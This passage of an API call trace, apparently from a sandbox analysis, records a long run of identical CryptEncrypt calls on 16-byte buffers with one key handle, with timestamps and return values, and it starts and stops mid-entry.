hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.707] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.707] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.707] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.707] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.707] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.707] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.707] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.707] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.707] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.707] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.707] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.707] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.707] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.707] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.707] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.707] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.707] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.707] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.707] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.708] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.708] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.708] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.708] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.708] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.708] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.708] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.708] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.708] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.708] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.708] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.708] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.708] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.708] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.708] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.708] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.708] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.708] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.709] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.709] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.709] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.709] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.709] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.709] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.709] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.709] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.709] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.709] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.709] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.709] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.709] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.709] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.709] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.709] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.709] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.709] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.709] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.710] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.710] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.710] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.710] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.710] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.710] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.710] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.710] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.710] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.710] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.710] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.710] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.710] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.710] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.710] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.710] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.710] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.710] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.710] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.711] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.711] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.711] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.711] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.711] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.711] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.711] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.711] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.711] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.711] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.711] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.711] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.711] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.711] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.711] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.711] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.711] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.711] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.711] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.712] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.712] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.712] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.712] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.712] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.712] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.712] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.712] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.712] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.712] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, 